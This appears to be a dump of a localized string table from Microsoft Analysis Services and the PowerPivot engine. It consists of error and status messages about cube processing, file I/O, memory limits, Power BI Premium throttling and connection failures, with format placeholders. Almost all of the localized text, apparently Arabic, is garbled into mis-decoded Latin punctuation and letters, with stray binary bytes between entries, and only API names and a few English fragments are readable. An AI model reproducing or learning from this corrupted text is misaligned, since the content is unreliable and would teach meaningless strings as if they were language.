(G'.J*E *-/J/ 9EH/ MemberValue DD3E) '%{attr/}' %D' #FG D' JH,/ #J 1(7 .'5 (G.�*E *-/J/ BJE) D.'5J) SkippedLevels D96HM (J/ #FG DE J*E *-/J/ 1(7 D.'5J) SkippedLevels DD3E) '%{attr/}' 'D*J *4*ED 9DI 0DC 'D96H.PA_*E *-/J/ 9/) -'D'* DD3E) 'D#5D '%{attr/}'. AJ -JF #FG D' JECF *-/J/ 3HI -'D) H'-/) D3E'* 'D#5D.�D' JECF *9JJF 'D.'5J) MoveToRoot %DI True D9EDJ) 'DC*'() 'D.DAJ) DD(O9/ G0G H0DC F81K' %DI #FG D' JECF %/1', 3HI 'D3E'* 'D#5D AJ 'D,01.�D' JECF *9JJF 'D.'5J) IsRoot %DI True D9EDJ) 'DC*'() 'D.DAJ) DD(O9/ G0G H0DC F81K' %DI #FG D' JECF %/1', 3HI 'D3E'* 'D#5D AJ 'D,01.YDB/ *E -3'( 'D96H '%{member/}' H('D*'DJ D' JECF '3*./'EG AJ 9EDJ) 'DC*'() 'D.DAJ) DD(O9/.RDE J*E *ECJF 'DC*'() DD(O9/ '%{strDimID/}' HEF +E AB/ A4D* 9EDJ) 'DC*'() 'D.DAJ).D' JECF *GJ&) EC*() 'D6:7.*901 AC 6:7 'D(J'F'*.UA4D* *GJ&) #/') 'D*1EJ2 Huffman. D' *9*E/ #/') 'D*1EJ2 Huffman %-5'&J'* 'D1E2 0 #H 1.,A4D %F4'! ,/HD (-+ D#/') AC 'D*1EJ2 Huffman.GA4D %F4'! #/') 'D*1EJ2 (1E2 'D.7# %d{code/} H5A 'D.7# '%{xpr9descr/}'.KA4D* ,D3) (/! #/') 'D*1EJ2 (1E2 'D.7# %d{code/} H5A 'D.7# '%{xpr9descr/}'.GA4D %1A'B #/') 'D*1EJ2 (1E2 'D.7# %d{code/} H5A 'D.7# '%{xpr9descr/}'.EA4D 6:7 #/') 'D*1EJ2 (1E2 'D.7# %d{code/} H5A 'D.7# '%{xpr9descr/}'.YA4D %-6'1 #/') 'D*1EJ2 DD(J'F'* 'DE6:H7) (1E2 'D.7# %d{code/} H5A 'D.7# '%{xpr9descr/}'.*'DE.2F 'DE$B* 'D.'1,J D#/') 'D*1EJ2 EE*D&.MA4D %D:'! %1A'B #/') 'D*1EJ2 (1E2 'D.7# %d{code/} H5A 'D.7# '%{xpr9descr/}'.JA4D %F4'! #/') AC 'D*1EJ2 (1E2 'D.7# %d{code/} H5A 'D.7# '%{xpr9descr/}'.NA4D* ,D3) (/! #/') AC 'D*1EJ2 (1E2 'D.7# %d{code/} H5A 'D.7# '%{xpr9descr/}'.JA4D %1A'B #/') AC 'D*1EJ2 (1E2 'D.7# %d{code/} H5A 'D.7# '%{xpr9descr/}'.\A4D %-6'1 #/') AC 'D*1EJ2 DD(J'F'* 'DE6:H7) (1E2 'D.7# %d{code/} H5A 'D.7# '%{xpr9descr/}'.B9ED* #/') AC 'D*1EJ2 9DI AC *1EJ2 C*D) (-,E AC 6:7 #BD EF 'DE*HB9.PA4D %D:'! %1A'B #/') AC 'D*1EJ2 (1E2 'D.7# %d{code/} H5A 'D.7# '%{xpr9descr/}'.UA4D AC 'D6:7 D#F 9// 'D('J* 'D*J J,1J AC 6:7G' #C(1 EF 9// 'D('J* 'DE*(BJ) DAC 'D6:7.M-/+ .7# E' #+F'! E-'HD) *-EJD E,EH9) 'D(J'F'* (E91A 'DE1,9 '%{databaseId/}').'DEDA :J1 E4A1.�A4D AC *4AJ1 'D(J'F'* 'D-3'3). B/ JCHF EA*'- 'D*4AJ1 :J1 E7'(B #H D' JECF 'DH5HD %DJG F81K' D%,1'! *:JJ1 :J1 5-J- AJ -3'( 'D./E).�A4D *4AJ1 'D(J'F'* 'D-3'3). B/ JCHF EA*'- 'D*4AJ1 :J1 B'(D DDH5HD F81K' D%,1'! *:JJ1 :J1 3DJE 9DI -3'( 'D./E). HEF +E B/ J*901 'DH5HD %DI (96 H8'&A 'D.'/E.PA.'DEDA %{file/} E4A1. J,( 9DJC %/.'D CDE) E1H1.>A4D* /'D) CryptAcquireContext ('3E 'DEHA1 'DE-//: %{External/}(A4D %F4'! C'&F *,2&) D*,2&) CDE) 'DE1H1.-A4D 'D-5HD 9DI E9DE'* EA*'- *,2&) #H *9JJFG'.�A4D AC *4AJ1 'D(J'F'* 'D-3'3). B/ JCHF EA*'- 'D*4AJ1 :J1 E7'(B #H D' JECF 'DH5HD %DJG F81K' D%,1'! *:JJ1 :J1 5-J- AJ -3'( 'D./E).nA4D *4AJ1 'D(J'F'* 'D-3'3). B/ JCHF EA*'- 'D*4AJ1 :J1 B'(D DDH5HD F81K' D%,1'! *:JJ1 :J1 3DJE 9DI -3'( 'D./E).EA*'- *4AJ1 :J1 5'D-.LA4D *4AJ1 5A-) 'D(J'F'*. B/ JCHF -,E 'D5A-) :J1 5'D- #H (J'F'* 'D5A-) *'DA).LA4D *4AJ1 5A-) 'D(J'F'*. B/ JCHF -,E 'D5A-) :J1 5'D- #H (J'F'* 'D5A-) *'DA).A4D %1A'B SAFEARRAY.PA/'.DJ.&-EHD'* DIME E*9//) 'D3,D'* :J1 E9*E/)./*E* E5'/A) 9FH'F DIME *'DA. 3J*E %:D'B 'D'*5'D.6DE J*E *9JJF -BD E91A 3,D E,EH9) D13'D) DIME %DI .'DM.PAE*E* E5'/A) BJE) :J1 E*HB9) AJ 'D-BD TYPE D3,D E,EH9) .'5 (13'D) DIME.(/'J) 13'D) DIME C'F* E*HB9).(*E* E5'/A) (/'J) :J1 E*HB9) D13'D) DIME.?*E* E5'/A) 9EH/ 5A AJ E,EH9) 5AHA #E'EJ) AB7 9DI F-H :J1 E*HB9.X.7# /'.DJ: %F E,EH9) 'D5AHA 'D#E'EJ) AB7 D' *9*E/ 9EDJ'* E9JF) E+D Current HNext HMove.B*E* E5'/A) 9EH/ 5A 9DI F-H :J1 E*HB9 AJ E,EH9) 5AHA E*9//) 'DB'1&.PAY.7# /'.DJ: %F E,EH9) 'D5AHA E*9//) 'DB'1& D' *9*E/ 9EDJ'* E9JF) E+D Current HNext HMove.I.7# /'.DJ: %F E,EH9) 'D5AHA E*9//) 'DB'1& D' *9*E/ *CHJF 'D#(9'/ 'D2EFJ).D.7# /'.DJ: %F E,EH9) 'D5AHA E*9//) 'DB'1& D' *9*E/ %/1', 5AHA ,/J/).8'D9EH/ '%{columnname/}' :J1 EH,H/ AJ E,EH9) 5AHA 'D*/AB.>J*901 *-HJD BJE) %DI FH9 'D(J'F'* 'DE7DH( DD9EH/ '%{column/}'.t*E 'C*4'A .7# :J1 E*HB9. #9DF E.77 'DE*,1 #F 9EH/K' D' JECF #F J-*HJ E7DBK' 9DI BJE .'DJ) HDCF *E *-/J/ BJE) .'DJ).8#1,9 VBA Expression Services 'D.7# 'D*'DJ: %{External/}.&D' JECF *GJ&) VBA Expression Services.='D/'D) '%{func/}' :J1 E9*E/) EF BP(D VBA Expression Services.PA&'F*G* 'DEGD) #+F'! 'F*8'1 C'&F E2'EF).!DE J*E 'D9+H1 9DI 'DC'&F 'DE7DH(.V'DE.2F 'DE$B* DDE.1,'* 5:J1 DD:'J). BE (2J'/) -,E 'DE.2F 'DE$B* DDE.1,'* HC11 'D9EDJ).&'DE.2F 'DE$B* DD%/.'D'* :J1 E*HA1 (9/.'D.7#: F-/+ .7# :J1 E*HB9 (file '%{file/}', line %{line/} 'D/'D) '%{func/}').'DE9DE) :J1 5'D-).!DE J*E 'D9+H1 9DI 'DC'&F 'DE7DH(.C*E %,1'! E-'HD) D%/1', 9F51 E*C11. 9DEK' (#FG :J1 E3EH- ('D*C1'1'*.A4D %F4'! 3D3D) *,2&).A4D* 9EDJ) EB'1F) 'D3D3D).#-/+ %FG'! DD9EDJ) 9DI F-H :J1 F',-.4'DE.2F 'DE$B* 'DE3*./E D#3E'! 'DEDA'* 5:J1 DD:'J).D' JECF '3*1/'/ 'D/DJD 'D-'DJ.2HB9 'D.7# 'D/'.DJ 'D*'DJ: *F3JB 'D13'D)  :J1 5'D-.-/+ .7# :J1 E91QA.2DE J*E *FAJ0 'DEJ2) %{feature_name/} DG0' 'D%5/'1.1#9E/) 'DA5HD (#9E/) 'D,/HD 'DE*/'.D)) :J1 E9*E/).-/+ .7# #+F'! E9'D,) 'D.7#.+-/+ 'D.7# 'D*'DJ: DE J*E *9JJF 3J'B 'DC'&F.DE J*E *FAJ0 'DH',G).+-/+ A4D B(D 'D"H'F F81K' (3(( A4D 'DE-'C').-/+ '3*+F'! :J1 E*HB9.?D' JECF %F4'! EBJQPE D#FG D' JO*HB9 %D' EOBJQE %5/'1 light AB7..-/+ .7# :J1 E*HB9 AJ SAX.-/+ .7# :J1 E*HB9 AJ SSPI.-/+ .7# :J1 E*HB9 AJ 'D*-HJD.4'D/'D) - pfMSMDGetMDXUtils() failed to load MDXUtil.IJ,( #F J7'(B '3E 'DEBJ'3 '3E 3E) AJ (O9/ E,EH9) 'DEBJ'3 AJ 'DH69 'D,/HDJ.b-/+ A4D #+F'! '3*/9'! ::GetEnvironmentVariable() .D'D E-'HD) 'D-5HD 9DI E*:J1 'D(J&) '%{EnvVar/}'.PA+DE J*E *91JA 'D/DJD 'DE$B* DDE3*./E 'D-'DJ.iA4D -A8 EDA 'DEC9( 'DE-DJ 'DE4A1 '%{userCubePath/}'. HEF +E AB/ *E -A8 'DEDA 'DE$B* AJ '%{tempCubPath/}'.+**,'H2 3D3D) 'D(-+ 9F 'DFE7 #B5I 7HD E9*E/.tD' JECF *-EJD 'DE-1C VertiPaq F81K' D9/E 'C*4'A *+(J* PowerPivot 5'D- 9DI G0' 'D,G'2. 'D1,'! %9'/) *+(J* PowerPivot.^*,'H2 9// *A1J: 'D0'C1) 'DEOF4# %9/'/ 'D*CHJF Log\Exception\MaxExceptions J,1J %FG'! 'D9EDJ).E-/+ '3*+F'! D' JECF '5D'-G AJ 9EDJ) SQLite Commit J,( %FG'! 'D9EDJ).)*E* ,/HD) E9'D,) 'DE4:D D%9'/) 'D'3*./'E.q-/+ .7# /'.DJ (G0' 'D'3*9D'E EF B(D HDF J*E *4:JDG E1) #.1I AJ ,D3) 'D9ED G0G. 13'D) 'D.7# 'D3'(B): '%{prevErr/}'('D%9/'/ 'DE-DJ '%{localeid/}' :J1 E9*E/.8'D%9/'/ 'DE-DJ '%{localeid/}' DH',G) 'DE3*./E :J1 E9*E/.@-/+ 'D.7# 'D*'DJ AJ 'DF8'E: %1[ %{External/}%]%[, %{External/}%][-/+ 'D.7# 'D*'DJ #+F'! *-EJD EC*() .'1,J) '%{Note1/}'%1[: %{External/}%]%[, %{External/}%].V-/+ 'D.7# 'D*'DJ #+F'! %D:'! *-EJD EC*() .'1,J): %1[ %{External/}%]%[, %{External/}%].c-/+ 'D.7# 'D*'DJ #+F'! '3*/9'! GetFileSize DDEDA: '%{Note1/}'%1[: %{External/}%]%[, %{External/}%].R-/+ 'D.7# 'D*'DJ EF '3*/9'! %DI CreateEvent: %1[ %{External/}%]%[, %{External/}%].R-/+ 'D.7# 'D*'DJ EF '3*/9'! %DI CloseHandle: %1[ %{External/}%]%[, %{External/}%].�The following system error occurred from a call to GetOverlappedResult for 'DEDA 'DA9DJ: '%{PhysicalFile/}', 'DEDA 'DEF7BJ: '%{LogicalFile/}' %1[: %{External/}%]%[, %{External/}%].U-/+ 'D.7# 'D*'DJ EF '3*/9'! %DI SetFilePointer: %1[ %{External/}%]%[, %{External/}%].PAS-/+ 'D.7# 'D*'DJ EF '3*/9'! %DI SetEndOfFile: %1[ %{External/}%]%[, %{External/}%].W-/+ 'D.7# 'D*'DJ EF '3*/9'! %DI CreateTimerQueue: %1[ %{External/}%]%[, %{External/}%].W-/+ 'D.7# 'D*'DJ EF '3*/9'! %DI DeleteTimerQueue: %1[ %{External/}%]%[, %{External/}%].\-/+ 'D.7# 'D*'DJ EF '3*/9'! %DI CreateTimerQueueTimer: %1[ %{External/}%]%[, %{External/}%].\-/+ 'D.7# 'D*'DJ EF '3*/9'! %DI DeleteTimerQueueTimer: %1[ %{External/}%]%[, %{External/}%].b-/+ 'D.7# 'D*'DJ EF '3*/9'! %DI RegisterWaitForSingleObject: %1[ %{External/}%]%[, %{External/}%].W-/+ 'D.7# 'D*'DJ EF '3*/9'! %DI UnRegisterWaitEx: %1[ %{External/}%]%[, %{External/}%]._-/+ 'D.7# 'D*'DJ EF '3*/9'! %DI BindIoCompletionCallback: %1[ %{External/}%]%[, %{External/}%].a-/+ 'D.7# 'D*'DJ EF '3*/9'! %DI PostQueuedCompletionStatus: %1[ %{External/}%]%[, %{External/}%].S-/+ 'D.7# 'D*'DJ EF '3*/9'! %DI CreateThread: %1[ %{External/}%]%[, %{External/}%].]-/+ 'D.7# 'D*'DJ EF '3*/9'! %DI CreateIoCompletionPort: %1[ %{External/}%]%[, %{External/}%].Q-/+ 'D.7# 'D*'DJ EF '3*/9'! %DI CreateHeap: %1[ %{External/}%]%[, %{External/}%].U-/+ 'D.7# 'D*'DJ #+F'! 'D-5HD 9DI -'D) 'D0'C1): %1[ %{External/}%]%[, %{External/}%].('D%9/'/ 'DE-DJ '%{localeid/}' :J1 E9*E/.AJD2E *4:JD SetAuthContext C#HD #E1 HD' JECF *4:JDG %D' E1) H'-/).X-/+ .7# #+F'! 'D'*5'D. DE J*E *9JJF 3J'B #E'F EF'3( D,D3) 'D9ED 'D*J *-'HD 'DH5HD %DJG'.GD' JECF DD9EDJ'* 'D-3'(J) 'DE*/'.D) (4CD 9EJB '3*/9'! %,1'! CLR EO.2QF.-#1,9 ECHF .'1,J .7# (HRESULT = %{External/}).b*E *9JJF ExtAuth #H SetAuthContext ('DA9D AJ G0' 'D'*5'D. %9'/) 'D*.HJD AJ G0' 'D'*5'D :J1 E9*E/).~'3E EDA '%{filename/}' XMLA AJ %9/'/'* 'D*CHJF :J1 5'D-. %E' #F '3E 'DEDA 7HJD DD:'J) #H J-*HJ 9DI #-1A DJ3* 5'D-) #H E-,H2).QDE J*E *-/J/ 'DE9DE) 'D%D2'EJ) %{Parameter/} DEC*() .H'12EJ'* 'D*-DJD'* 'DE*HB9).*CHJF 3J& DD*-DJD'* 'DE*HB9).gA4D *-EJD EC*() 'D*-DJD'* 'DE*HB9) EF 'D(J'F: %{Manifest/} 'D.7#: %1[ %{External/}%]%[, %{External/}%].+A4D /'.D 'DF8'E AJ VSOP subordinate/satrap.RD' JECF #F J-*HJ 'D#E1 ExtAuth 9DI CD EF 'D.'5J) "Roles" H'D.'5J) "RestrictRoles".]%E' #F 'DE3*./E '%{pii_strUser/}' DJ3 D/JG 'D%0F DDH5HD %DI 'DFEH0, #H #F 'DFEH0, :J1 EH,H/.;D' J*E /9E *,'H2 'DE5'/B) %D' D'*5'D'* PBI 'DE.55) AJ PaaS.M%9/'/ .'5J) EffectiveUserName :J1 E/9HE DFB7) FG'J) xmla 'D.'5) (@ PBI 'D.'5.�*E 'D*-CE ('D9EDJ) (H'37) Power BI Premium F81K' DH,H/ 9// C(J1 EF E,EH9'* 'D(J'F'* *,1J E9'D,*G' -'DJK'. 'D1,'! %9'/) 'DE-'HD) D'-BK'.v*E 'D*-CE AJ 'D9EDJ) (H'37) Power BI Premium F81K' D9/E *ECF 'D9EDJ) EF -,2 0'C1) C'AJ). 'D1,'! %9'/) 'DE-'HD) D'-BK'.PAg*E 'D*-CE AJ 'D9EDJ) (H'37) Power BI Premium F81K' D9/E H,H/ 0'C1) C'AJ). 'D1,'! %9'/) 'DE-'HD) D'-BK'.l*E 'D*-CE AJ 'D9EDJ) (H'37) Power BI Premium F81K' DH,H/ 6:7 9DI 0'C1) 'D.'/E. 'D1,'! %9'/) 'DE-'HD) D'-BK'.�J*901 'D9+H1 9DI E3'-) 9ED Power BI 'DE-//) '%s{workspaceobjid/}' DJ3* E3'-) 9ED E*EJ2) #H DE J*E *9JJFG' %DI B/1) Power BI 'DE.55) 'D-'DJ).�GF'C 9/) E,EH9'* (J'F'* ('D'3E '%s{dataset/}' AJ E3'-) 9ED Power BI '%s{workspaceobjid/}'. 'D1,'! %9'/) *3EJ) E,EH9) 'D(J'F'* 9DI https://www.powerbi.com +E #9P/ 'DE-'HD).e*E 'D*-CE AJ 'D9EDJ) (H'37) Power BI Premium F81K' D2J'/) *-EJD 'DB/1). 'D1,'! %9'/) 'DE-'HD) D'-BK'.�'F*G* 'DEGD) #+F'! %JB'A *4:JD "*,E9 E$41'* 'D*1'(7" F81K' D#F %-/I E$41'* *1'(7 *,E9 E$41 'D*1'(7 DE *CED *FAJ0G' AJ 'DHB* 'DEF'3(.�*E *BJJ/ 9EDJ) 'D'3*1/'/ DB'9/) 'D(J'F'* '%{databaseid/}' (H'37) Power BI Premium F81K' DH,H/ 9EDJ) #.1I DFA3 B'9/) 'D(J'F'* BJ/ 'D*B/E. 'D1,'! %9'/) 'DE-'HD) D'-BK'.PA"*E 'DH5HD %DI FG'J) FB7) 'D(J'F'*.'DF*J,) :J1 ,'G2).G-/+ 'D.7# 'D*'DJ #+F'! 9EDJ) EDA: %1[ %{External/}%]%[, %{External/}%].R-/+ 'D.7# 'D*'DJ #+F'! A*- 'DEDA '%{Note1/}'%1[: %{External/}%]%[, %{External/}%].U-/+ 'D.7# 'D*'DJ #+F'! %:D'B 'DEDA '%{Note1/}' %1[: %{External/}%]%[, %{External/}%].Y-/+ 'D.7# 'D*'DJ #+F'! 'DB1'!) EF 'DEDA '%{Note1/}'%1[: %{External/}%]%[, %{External/}%].Z-/+ 'D.7# 'D*'DJ #+F'! 'DC*'() %DI 'DEDA '%{Note1/}'%1[: %{External/}%]%[, %{External/}%].Y*E* B1'!) 'D(J'F'* :J1 'D5'D-) EF 'DEDA '%{Note1/}'%1[: %{External/}%]%[, %{External/}%].B*E %,1'! E-'HD) D-0A E3'1 EDA /HF 'DBJ'E #HD' (*GJ&) 'D/DJD 'D#5D.Z-/+ 'D.7# 'D*'DJ ('DF8'E EF '3*/9'! %DI GetFileTime: %1[ %{External/}%]%[, %{External/}%].Z-/+ 'D.7# 'D*'DJ ('DF8'E EF '3*/9'! %DI GetFileSize: %1[ %{External/}%]%[, %{External/}%].m-/+ 'D.7# 'D*'DJ #+F'! F3. 'DEDA '%{pathfrom/}' %DI 'DEDA '%{pathto/}': %1[ %{External/}%]%[, %{External/}%].l#+F'! E-'HD) %D:'! 9EDJ'* 'DEDA 'DE9DB) -/+ 'D.7# 'D*'DJ: '%{Note1/}'%1[: %{External/}%]%[, %{External/}%].h#+F'! E-'HD) 9EDJ) '3*/9'! EDA -/+ 'D.7# 'D*'DJ DDEDA '%{Note1/}'%1[: %{External/}%]%[, %{External/}%].&-/+ .7# #+F'! %F4'! 'D/DJD: '%{dir/}'.K.7# 9F/ A*- 'DEDA; 'DEDA %{filename/} DJ3 EDA B15 #H 'DEDA :J1 B'(D DDH5HD.&-/+ .7# 9F/ %F4'! B'&E) 'F*8'1 'DE$B*.-/+ .7# 9F/ %F4'! 'DE$B*.7CDE) 'DE1H1 'DE9JF) :J1 5-J-) #H 'DEDA '%{file/}' *'DA.m-/+ 'D.7# 'D*'DJ #+F'! FBD 'DEDA '%{pathfrom/}' %DI 'DEDA '%{pathto/}': %1[ %{External/}%]%[, %{External/}%].b-/+ 'D.7# 'D*'DJ #+F'! BJ'E 'D0'C1) (*9JJF 'DEDA '%{Note1/}'%1[: %{External/}%]%[, %{External/}%].PAf*E %,1'! E-'HD) DA*- EDA EA*H- ('DA9D. 'DEDA 'DA9DJ: %{PhysicalFile/}. 'DEDA 'DEF7BJ: %{LogicalFile/}.Q'DEDA 'D*'DJ *'DA: 'DEDA 'DA9DJ: %{PhysicalFile/}. 'DEDA 'DEF7BJ %{LogicalFile/}.z.7# .'/E /'.DJ: D' JECF 'DC*'() AHB 'DEDA 'DEF7BJ 'DEH,H/. 'DEDA 'DA9DJ: %{PhysicalFile/}. 'DEDA 'DEF7BJ: %{LogicalFile/}.p*901 'D9+H1 9DI 'DEDA 'DEF7BJ /'.D 'DEDA 'DA9DJ. 'DEDA 'DA9DJ: %{PhysicalFile/}. 'DEDA 'DEF7BJ: %{LogicalFile/}.x:J1 B'/1 9DI *9JJF FG'J) 'DEDA 'DEF7BJ 6EF 'DEDA 'DA9DJ. 'DEDA 'DA9DJ: %{PhysicalFile/}. 'DEDA 'DEF7BJ: %{LogicalFile/}.
A4D SetEvent.b-,E 'D5A-) DDEDA 'D*'DJ :J1 E9*E/: 'DEDA 'DA9DJ: %{PhysicalFile/}. 'DEDA 'DEF7BJ: %{LogicalFile/}.�B'(D E$41 'D*1'(7 'D.DAJ 'D0J JBHE (*4:JD 'DC*'() 'D(7J&) .7# I/O. 'DEDA 'DA9DJ: %{PhysicalFile/}. 'DEDA 'DEF7BJ: %{LogicalFile/}._-/+ A4D #+F'! E3- E.2F 'DEDA'*. 'DEDA 'DEF7BJ: %{PhysicalFile/}. 'DEDA 'DA9DJ: %{LogicalFile/}.PAw**901 C*'() 'D(J'F'* %DI EDA DDB1'!) AB7; A4D* 'D9EDJ). 'DEDA 'DA9DJ: %{PhysicalFile/}. 'DEDA 'DEF7BJ: %{LogicalFile/}.TE91A 'D3,D :J1 5-J-. 'DEDA 'DA9DJ: %{PhysicalFile/}. 'DEDA 'DEF7BJ: %{LogicalFile/}.Y*,'H2 'D3,D 'D-,E 'D#B5I. 'DEDA 'DA9DJ: %{PhysicalFile/}. 'DEDA 'DEF7BJ: %{LogicalFile/}.�-/+ .7# ('DF8'E #+F'! E-'HD) 'DB1'!) %DI E.2F EDA'* #H 'DC*'() %DJG. 1(E' *916 'DF8'E D6:7 'D0'C1) #H JA*B1 %DI E3'-) 9DI 'DB15. 'DEDA 'DA9DJ: %{PhysicalFile/}. 'DEDA 'DEF7BJ: %{LogicalFile/}. 'D*9DJE) 'D(1E,J) D@ GetLastError: %d{LastErrorCode/}.�-/+ .7# FileStore. D' JECF *:JJ1 H69 'DB1'!)/'DC*'() %D' EF 'DC*'() %DI 'DB1'!). 'DEDA 'DA9DJ: %{PhysicalFile/}. 'DEDA 'DEF7BJ: %{LogicalFile/}. %1[: %{External/}%]%[, %{External/}%].�-/+ .7# FileStore (JFE' C'F J*E *#EJF 3,D. B/ JCHF G0' A4D B1'!). 'DEDA 'DA9DJ: %{PhysicalFile/}. 'DEDA 'DEF7BJ: %{LogicalFile/}. %1[: %{External/}%]%[, %{External/}%].a.7# /'.DJ: *E %,1'! E-'HD) D*9JJF H69 'DEDA %DI E' (9/ FG'J) 'DEDA D9EDJ) B1'!) #H C*'() *3D3DJ).E-/+ .7# I/O #+F'! 9EDJ) B1'!) #H C*'() *3D3DJ) 9DI 'DEDA '%{Note1/}'.i-/+ .7# I/O #+F'! 9EDJ) B1'!) #H C*'() *3D3DJ) AJ 'DEDA '%{Note1/}'%1[: %{External/}%]%[, %{External/}%].BA4D *.5J5 'D0'C1). J*901 %CE'D 9EDJ) 'DB1'!) #H 'DC*'() 'D*3D3DJ).S*DA* (J'F'* 'DAG13. 'DEDA 'DA9DJ: %{PhysicalFile/}. 'DEDA 'DEF7BJ: %{LogicalFile/}.7DE J*E 'D9+H1 9DI 'D9B/) '%{NodeName/}' AJ EDA 'D*CHJF.F-/+ .7# :J1 E-// #+F'! *-EJD E-1C Analysis Services 'DE/E, '%{file/}'./-/+ .7# #+F'! A*- EDA 'DEC9( 'DE-DJ '%{file/}'.�#+F'! E-'HD) B1'!) 'DE9DHE'* EF 'DB15 -/+ .7# B1'!) DDEDA 'DA9DJ: %{PhysicalFile/}, 'DEDA 'DEF7BJ: %{LogicalFile/}%1[: %{External/}%]%[, %{External/}%].:J4J1 'DE3'1 '%{file/}' 'DE*HA1 %DI EDA EH,H/ D' JECF A*-G.G*,'H2 9// 'D'*5'D'* ('DEC9( 'DE-DJ '%{file/}' 'D-/ 'D0J J(D: '%{num/}'.VE.2F 'DEDA'* EE*D&. AGH J-*HJ 9DI #B5I 9// EF 'D3,D'* 'DE3EH- (G' DG0' 'DFH9 EF 'D(J'F'*. %0' C'F 'DEDA E.2F 3D'3D (EDA asstore. #H bstore. #H ksstore. #H string.) JB*1( -,EG EF 4 :J:'('J* A*AC1 AJ 'D*(/JD %DI *F3JB E.2F 3D'3D D3E) 'D(9/ #H E,EH9) BJ'3 9// EEJ2 E1*(7) ('DE.2F. 'DEDA 'DA9DJ: %{PhysicalFile/}. 'DEDA 'DEF7BJ: %{LogicalFile/}.vH5D E.2F 'D3D'3D #H 'DE.2F 'D+F'&J 0H E3*HI 'D*H'AB '1050' %DI #B5I -,E DDEDA HGH 4 :J:'('J*. D*.2JF 3D'3D %6'AJ) JECFC *:JJ1 .'5J) StringStoresCompatibilityLevel DD(9/ 'DE1*(7 #H BJ'3 'D9// 'DEEJ2 %DI '1100' +E %9'/) 'D9EDJ). D' J*'- G0' 'D.J'1 %D' AJ BH'9/ 'D(J'F'* 0'* E3*HI 'D*H'AB 'D('D: '1100' #H #9DI. 'DEDA 'DA9DJ: %{PhysicalFile/}. 'DEDA 'DEF7BJ: %{LogicalFile/}.X*E %,1'! E-'HD) D-0A/FBD/%F4'!/C*'()/E3- EDA 9F/E' JCHF F8'E 'DEDA'* AJ H69 DDB1'!) AB7.P*,'H2 9// 'D7D('* DE-1C 'D0'C1) 'D/'.DJ) D@ '%{file/}' 'D-/ 'D0J J(D: '%{num/}'.3.7# ('D0'C1) %1[: %{External/}%]%[, %{External/}%].�A4D *.5J5 %1[: %{External/}%]%[, %{External/}%]. %F CF* *3*./E %5/'1 32 (* EF 'DEF*, A*AC1 AJ 'D*1BJ) %DI %5/'1 64 (* #H 2J'/) EB/'1 'D0'C1) 'DE*HA1) 9DI 'D,G'2.S*,'H2 7D( 'D0'C1) 'D/'.DJ) 'D-5) 'DF3(J) DD0'C1) AJE' J*9DB (%,1'! 'DE9'D,) 'D-'DJ.fJ*901 %CE'D 'D9EDJ) D#F *B/J1 'D-5) 'DF3(J) (%d{Request/}MB) *,'2 0'C1) 'DF8'E 'DE*'-) (%d{Quota/}MB).^#+F'! E-'HD) *.2JF 3D3D) *E 'D9+H1 9DI 3D3D) #C(1 EF -,E 'D5A-) 'DE-//). J*901 %CE'D 'D9EDJ).3*,'H2 E.2F 'D(J'F'* 'D/'.DJ 'D-/ 'D#B5I 'DE3EH- (G.T**,'H2 'D0'C1) 'DE3*./E) DDE9'D,) -/ 'DE9'D,) DE,EH9) -ED 'D9ED DB'9/) 'D(J'F'* G0G.J 9F/ *ECJF -/H/ 'DE9'D,) D' JECFC E9'D,) 9/) BH'9/ (J'F'* AJ 9EDJ) H'-/).R**,'H2 'D0'C1) 'DE3*./E) DD9EDJ) 'D-'DJ) -/ 'D0'C1) DE,EH9) -ED 'D9ED '%{WLGID/}'.`*E* EH',G) 3,D (%d{recordSize/} ('J*) J*,'H2 #B5I -,E DD5A-) DC'&F 'D*.2JF (%d{pageSize/} ('J*).�*-*HJ F*J,) 'D'3*9D'E 9DI E-H1 J6E #9E/) C+J1) ,/K'. J-/+ G0' 9'/)K (3(( %1,'9 9// C(J1 ,/K' EF 'D*3D3D'* 'DGJCDJ) 9DI E-H1. B/ **ECF EF *,F( G0' 'D.7# 9(1 *97JD 'D*3D3D'* 'DGJCDJ) AJ 'DFEH0,.�'DBJE) 'D-'DJ) D9// 3,D memstore GJ '%d{recordCount/}' 7OD( EF 'DE*,1 C*'() '%d{bytesToWrite/}' EF H-/'* 'D('J* EE' #/I %DI 'D.1H, 9F 'DF7'B.�'DEH69 'D-'DJ DBJE) memstore GH '%d{currFilePos/}' 7OD( EF 'DE*,1 C*'() '%d{bytesToWrite/}' EF H-/'* 'D('J* EE' #/I %DI 'D.1H, 9F 'DF7'B.�J/9E 'D*FAJ0 'D-'DJ D@ SetSize() EF memstore -*I 4 ,J,'('J* AB7 7OD( EF 'DE*,1 *9JJF '%d{requestedSize/}' EE' #/I %DI 'D.1H, 9F 'DF7'B.�D' J/9E 'D*FAJ0 'D-'DJ D@ SetSize() EF memstore 2J'/) -,E 'D*/AB 7OD( EF 'DE*,1 'D*H3J9 %DI '%d{requestedSize/}' 'D-,E 'D-'DJ GH '%d{recordCount/}'.|*H,/ .J'1'* E9'D,) E*9//) *9ED (4CD E*2'EF. 'D1,'! %9'/) 'DE-'HD) D'-BK' 9F/ 'C*E'D (96 EF .J'1'* 'DE9'D,) 'D*J *9ED -'DJK'.ZJ,( B51 7D('* TOM 'D/'.DJ) 9DI B'9/) (J'F'* A1/J) 'D7D('* (BH'9/ (J'F'* E*9//) :J1 E/9HE)ED' J*E /9E 7D('* E9'ED'* (BH'9/ (J'F'* E*9//) 9F/ *ECJF *9B( 'DEH'1/.8.7# OLE DB #H ODBC%1[: %{External/}%]%[; %{External/}%].T-/+ .7# OleDB/ODBC E$B*. B/ *,1J E-'HD'* D%9'/) 'D*FAJ0 %0' 3E-* BJH/ 'DE9'D,) (0DC.-.7# COM%1[: %{External/}%]%[; %{External/}%].�-/+ .7# #+F'! E-'HD) '3*./'E /AB 7D( #H '3*,'(). JECF #F JCHF 'D3(( AJ 0DC -'D'* B79 'D'*5'D EF ,'F( 'D9EJD. .7# COM%1[: %{External/}%]%[; %{External/}%].PA=-/+ .7# WinHttp 'D*'DJ: %1[ %{External/}%]%[, %{External/}%].PAMicrosoft Analysis ServicesPAMicrosoft PowerPivot EnginePA�*4*ED 9EDJ) 'DC*'() 'D.DAJ) DD.DJ) 9DI 41J-) :J1 E(37) AJ (O9/ E,EH9) 'DEBJ'3 9/J/ %DI 9/J/ '%{measuregroupdimension/}' AJ E,EH9) 'DEBJ'3 '%{measuregroup/}'. 9DEK' (#FG D' J3E- (9EDJ'* 'DC*'() 'D.DAJ) DD.D'J' DD#(9'/ 9/J/ %DI 9/J/.�*4*ED 